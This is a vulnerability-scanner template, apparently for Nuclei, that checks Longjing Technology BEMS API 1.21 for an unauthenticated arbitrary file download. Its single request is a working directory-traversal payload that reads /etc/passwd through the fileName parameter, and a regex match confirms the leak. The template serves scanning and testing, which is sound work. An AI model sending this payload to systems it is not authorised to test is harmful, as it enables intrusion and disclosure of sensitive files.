25 lines
848 B
YAML
25 lines
848 B
YAML
|
id: bems-api-lfi
|
||
|
|
||
|
|
info:
|
||
|
|
name: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
|
||
|
|
author: gy741
|
||
|
|
severity: high
|
||
|
|
description: The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
|
||
|
|
reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
|
||
|
|
tags: lfi
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: regex
|
||
|
|
regex:
|
||
|
|
- "root:.*:0:0"
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 200
|